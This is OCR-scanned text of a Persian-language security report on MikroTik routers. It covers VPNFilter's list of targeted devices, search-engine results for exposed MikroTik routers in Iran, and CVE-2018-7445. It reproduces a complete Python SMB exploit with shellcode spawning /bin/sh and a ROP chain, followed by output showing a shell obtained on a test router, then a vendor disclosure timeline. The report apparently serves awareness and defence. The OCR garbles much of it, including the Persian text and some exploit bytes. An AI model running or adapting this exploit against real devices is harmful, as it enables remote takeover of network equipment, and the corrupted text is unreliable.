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There are only two types of companies: ¢ Y/
those that have been hacked and those that will be. , I N
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® Backup 1
. ® Backup 2 STAGE 2 SERVER

Plugins
Manually

:(:w: pushes Stage 3
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Al & If Photobucket fails,
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e Asus Devices:
RT-AC66U
RT-N10
RT-N10E
RT-N10U
RT-N56U
RT-N66U

e D-Link Devices:
DES-1210-08P
DIR-300
DIR-300A
DSR-250N
DSR-500N
DSR-1000
DSR-1000N

e Huawei Devices:
HG8245

e Linksys Devices:
E1200
E2500
E3000
E3200
E4200
RV082
WRVS4400N

e Mikrotik Devices:
CCR1009
CCR1016
CCR1036
CCR1072
CRS109
CRS112

+

] . . Y
www.mmAhmadian.ir




Sla| gagodase 358135 wilge g 0 5ol 8

ICS—SR—MMA -970502 iy sl Aulska 43 IS ad i axio 4,85 4 VPNFilter aloo> 5 ol (20 O8NS 3 SUEND Cusiol (i (55859 (Shasils
el 30 (ygmilogit g J 55 sladiloly Sudol 55lio g o gke ¢ Kidg 3

CRS125
RB411
RB450
RB750
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e Netgear Devices:
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R7000
R8000
WNR1000
WNR2000
WNR2200
WNR4000
WNDR3700
WNDR4000
WNDR4300
WNDR4300-TN
UTM50

e QONAP Devices:
TS251
TS439 Pro
Other QNAP NAS devices running QTS software
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MikroTik RouterOS Country:"ir" Explore Downloads Reports

*% Exploits W Share Search £ Download Results |l Create Report

115 e Firmware: 1
— 2 : 2 Host e: Router0S
- ran, Islamic Republic of, Kish 'c= vnarr: f . ?r
TOP COUNTRIES Details Vendor: MikroTik
- a | u
n Firmware: 1
— _ Hostname: Router0S
w= lran, Islamic Republic of 3' ° . 9 A
Details Vendor: MikroTik
Iran, Islamic Republic of 115 m
TOP CITIES
Khoy 5 | | | | |
Hamedan 3 Firmware: 1
ey Hostname: Router0OS
Bushety & = Iran, Islamic Republic of, Isfahan o G Y
Tehran 2 Details Vendor: MikroTik
Sanandaj 2

TOPS
u | | I
PPTP 80 ;
2 Firmware: 1
% 8081 17 . = S
.2 Hostname: Router0S
FTP 12 e rendor: MikroTi
= Iran, Islamic Republic of Vendor: MikroTik
r3 UPnP 4 Details
.}. 8880 1
Q EF BB e rowoe 22 Ports
n n
City
Country Iran, Islamic Republic of
- :
Organization = Servlces
ISP u —
Last Update 2018-07-30723:15:43.147183 MikroTik router ftpd
ASN 220 Router0S FTP server (MikroTik 6.33) ready
530 Login incorrect
500 'HELP': command not understood
500 'FEAT': command not understood
1723 Firmiare: 1
Hostname: Router0s
Vendor: MikroTik
MikroTik bandwidth-test server
\x01\x00\x00\x08
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Result Vulnerability

About 749,320 results | 0

Search Type
21/14
Devices 749,304
—
]

Websites 16

Year
2018
2017
2016

2015

2014

Country

Iran 749,320
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220 BaghRoyaha FTP server (MikroTik 6.40.4) ready
5@@ '':

command not understood

220 MikroTik FTP server (MikroTik 6.37.5) ready

568 '': command not understood
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CVE-2018-7445
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MikroTik RouterOS
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(CWE-121
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\
$99,9 4k

S

20 ybolo baw

LA

AV:N/AC:L/PR:N/UL:N/S:U/C:H/I:H/A:H(V3 legend)

CVSS V3 a1y o 0
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v . i,
www.mmAhmadian.ir

4




Sles gagosass 358513 wilhe g 0diyels

ICS—SR—MMA -970502 ity ol Aulska 43 S ad i i 4l IS & VPNFilter aloo> 25 ol (0 OIS 3 SIEND Cuia! (i (5.355°S (Shails’
0 (yguilogit g J S Sadiloly Susof 35l g g soko ¢ Ko )

) :CVSS V2 43 6 yoi

(AV:N/AC:L/Au:N/C:C/1:C/A:C) (V2 legend)
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e alin o 4 ol )b oloreas 1) polie ol a5 sl NEtBIOS slapl 4520 ol jo 9530 8L 55w
el 00 03,51 W3 HeS e &l O Al ams o plazs|
int parse names(char *dst, char *src) {
int len;
int 1i;
int offset;

// take the length of the first string
len = *src;
offset = 0;

while (len) {
// copy the bytes of the string into the destination buffer
for (i = offset; (i - offset) < len; ++i) {
dst[i] = src[i+1];
}

// take the length of the next string
len = src[i+l];

// 1if it exists, then add a separator
if (len) {

. . D
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dst[1i]
}

// start over with the next string
offset = 1 + 1;
}

// nul-terminate the string
dst[offset] = 0;

return offset;
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MikroTik RouterOS 2.9.51
MikroTik RouterOS 2.9.50
MikroTik RouterOS 2.9.49
MikroTik RouterOS 2.9.48
MikroTik RouterOS 2.9.47
MikroTik RouterOS 2.9.46
MikroTik RouterOS 2.9.45
MikroTik RouterOS 2.9.44
MikroTik RouterOS 2.9.43
MikroTik RouterOS 2.9.42
MikroTik RouterOS 2.9.41
MikroTik RouterOS 2.9.40
MikroTik RouterOS 6.3
MikroTik RouterOS 6.2
MikroTik RouterOS 5.26
MikroTik RouterOS 5.25
MikroTik RouterOS 5.15
MikroTik RouterOS 5.0
MikroTik RouterOS 4.0
MikroTik RouterOS 3.2
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MikroTik RouterOS 3.13
MikroTik RouterOS 3.12
MikroTik RouterOS 3.11
MikroTik RouterOS 3.10
MikroTik RouterOS 3.09
MikroTik RouterOS 3.08
MikroTik RouterOS 3.07
MikroTik RouterOS 3.0

e MikroTik Routeros 6.41.3
e MikroTik Routeros 6.42rc27

O yiwino | (59920 38 sBUS —F—F

oy 5l )l p0ske 5 S vl ol sl D (soges sz 95 GBS crl el Loy B

GO db w3l

el 00 ’.MM 399
#!/usr/bin/env python

import socket
import struct
import sys
import telnetlib

NETBIOS SESSION MESSAGE = "\x00"
NETBIOS SESSION REQUEST = "\x81"
NETBIOS SESSION FLAGS = "\x00"

# trick from http://shell-storm.org/shellcode/files/shellcode-881.php
# will place the socket file descriptor in eax
find sock fd = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48"

# dup stdin-stdout-stderr so we can reuse the existing connection

dup fds = "\x89\xc3\xb1l\x02\xb0\x3f\xcd\x80\x49\x79\x£9"
# execve - cannot pass the 2nd arg as NULL or busybox will complain
g ;
xploit

W - = )
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execve bin sh =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x8
I\ xel\xb0\x0b\xcd\x80"

# build shellcode
shellcode = find sock fd + dup fds + execve bin sh

# rop to mprotect and make the heap executable

# the heap base is not being subject to ASLR for whatever reason, so
let's take advantage of it

p = lambda x : struct.pack('I', x)

rop = nn

rop += p(0x0804c39d) # 0x0804c39d: pop ebx; pop ebp; ret;
rop += p(0x08072000) # ebx -> heap base
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x080664£f5) # 0x080664f5: pop ecx; adc al, 0xf7; ret;
rop += p(0x14000) # ecx -> size for mprotect
rop += p(0x08066£f24) # 0x08066f24: pop edx; pop edi; pop ebp; ret;
rop += p(0x00000007) # edx -> permissions for mprotect -> PROT READ |
PROT WRITE | PROT_EXEC
rop += p(Oxffffffff) # edi -> gibberish
rop += p(Oxffffffff) # ebp -> gibberish
rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret;
rop += p(0x0000007d) # ebp -> mprotect system call
rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret;
rop += p(0xffffed2e) # Oxffffed2e; int 0x80; pop ebp; pop edx; pop ecx;
3 ret - from vdso - not affected by ASLR
j’ rop += p(Oxffffffff) # ebp -> gibberish
d rop += p(0x0) # edx -> zeroed out
3 rop += p(0x0) # ecx -> zeroed out
2 rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret;

rop += p(0x08075802) # ebp -> somewhere on the heap that will (always?)
contain user controlled data

rop += p(0x0804£f94a) # 0x0804f94a: xchg eax, ebp; ret;

rop += p(0x0804el53) # Jjmp eax; - jump to our shellcode on the heap

offset to regs = 83
# we do not really care about the initial register values other than

overwriting the saved ret address
ebx = p(0x45454545)

esi = p(0x45454545)

edi = p(0x45454545)

ebp = p(0x45454545)

eip = p(0x0804886¢c) # 0x0804886¢c: ret;

payload = "\xff" * offset to regs + ebx + esi + edi + ebp + eip + rop

header = struct.pack("!ccH", NETBIOS SESSION REQUEST,
NETBIOS SESSION FLAGS, len(payload))
buf = header + payload

def open connection(ip):
s = socket.socket (socket.AF INET, socket.SOCK STREAM)
s.connect ((ip, 139))
return s

def store payload(s):
print "[+] storing payload on the heap"

W x . N
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s.send ((NETBIOS SESSION MESSAGE + "\x00\xeb\x02") * 4000 + "\x90" *
16 + shellcode)

def crash smb(s):
print " [+] getting code execution"
s.send (buf)
if name == " main ":
if len(sys.argv) !'= 2:
print "%s ip" % sys.argv[0]
sys.exit (1)

s = open_connection(sys.argv[1l])
store payload(s)

# the server closes the first connection, so we need to open another
one

t = telnetlib.Telnet ()

t.sock = open connection(sys.argv[1])

crash smb(t.sock)

print "[+] got shell?"

t.interact ()

1 ely> B3 (2 A e b3 OS 390 2l

[admin@ MikroTik] > ip smb print

enabled: yes

domain: MSHOME
comment: MikrotikSMB
allow-guests: y
interfaces:

[admin@ MikroTik] > ip address print
Flags: X - disabled, I - invalid, D - dynamic

GO dab Wb

8 D 192.168.6.249/24 192.168.8.8 etherl

$ python smb exploit.py 192.168.8.249
[+] storing payload on the heap
[+] getting code execution
[+] got shell?
sh: turning off NDELAY mode
uname -a
Linux MikroTik 3.3.5-64
$ python smb exploit.py 192.168.0.249
[+] storing payload on the heap
[+] getting code execution
[+] got shell?
sh: turning off NDELAY mode
uname -a
Linux MikroTik 3.3.5-64 #1 SMP Tue Oct 31 12:39:30 UTC 2017 x86_ 64
unknown

8. **Report Timeline**

2018-02-19: Core Security sent an initial notification to
MikroTik.

2018-02-19: Core Security noticed that a candidate release addresses
the wvulnerability.
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2018-02-21: MikroTik answered saying that they were planning to
release
a final version with a fix for SMB the week of 26th of February and
asked
for additional information.

2018-02-21: Core Security thanked MikroTik's answer and sent a draft
advisory with a technical description. In addition, Core Security
proposed
the release date to be March 1lst.

2018-02-23: MikroTik confirmed the proposed release date saying that
is
a 'perfect' date for them.

2018-02-23: Core Security asked MikroTik for a confirmation about the
availability of the fix before the publication date. Also, Core Security
sent the CVE-ID request to Mitre.

2018-02-23: MikroTik confirmed the availability of the fix for the
publication date.

2018-02-28: Core Security asked MikroTik for a confirmation about the
release of the fixed version again.

2018-02-28: MikroTik answered saying that they had some issues and
asked
for an extension of one week.

2018-02-28: Core Security analyzed the possibility of postponing the
publication date and asked MikroTik for a new release date.

2018-03-01: MikroTik answered that they didn't have a certain release
date for their fix.

2018-03-01: Core Security requested a solidified release date for
coordinated disclosure. Agreed to postpone till March 8th.

2018-03-01: MikroTik answered saying they understand it's their fault
and if they don't release the fixed version in time, we might have to
release our document.

2018-03-02: Core Security thanked the update and asked again about the
planned release date.

2018-03-05: MikroTik answered that they still don't have a certain
release date for their fix.

2018-03-05: Core Security answered saying the one week postponed was
proposed by Mikrotik, yet they still cannot commit to a release date.
Core Security clarified again the intention is to do a coordinated
release,
but in order to do that it is needed a tentative release date.

2018-03-12: Core Security noticed that a new version of MikroTik

oW dab Wb

RouterOS
were available and asked MikroTik if this version fixed the
vulnerability.

2018-03-12: MikroTik confirmed that the published version addresses
the

reported vulnerability.
2018-03-15: Advisory CORE-2018-0003 published.
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